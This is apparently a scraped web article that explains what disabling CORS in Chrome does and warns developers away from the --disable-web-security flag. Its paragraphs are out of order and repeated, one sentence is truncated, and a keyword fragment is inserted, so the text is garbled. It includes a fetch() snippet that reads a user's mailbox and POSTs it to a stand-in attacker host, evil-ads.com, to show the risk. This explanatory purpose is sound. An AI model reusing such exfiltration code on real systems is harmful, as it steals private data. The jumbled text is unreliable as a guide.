Many developers quickly discover the command to . But what does this actually do, when is it appropriate, and what are the hidden dangers? What Does 'Disabling CORS' Actually Do? Under standard operation, Chrome enforces the same-origin policy . If your frontend ( localhost:3000 ) tries to fetch() data from an API ( localhost:5000 ), Chrome requires the API to explicitly allow this via Access-Control-Allow-Origin headers.
fetch('https://mail.company.com/api/inbox') .then(response => response.text()) .then(data => { // Send your entire inbox to an attacker's server fetch('https://evil-ads.com/steal', { method: 'POST', body: data }) }); This script will succeed because Chrome no longer blocks cross-origin reads. Before reaching for --disable-web-security , consider these better approaches: 1. Use a Local Proxy (Recommended) Configure your development server to proxy API requests. For example, with Webpack Dev Server or Vite: disable cors chrome
Cross-Origin Resource Sharing (CORS) is a critical browser security mechanism that controls how web pages can request resources from a different domain. While essential for protecting users, CORS often becomes a stumbling block during local development. Many developers quickly discover the command to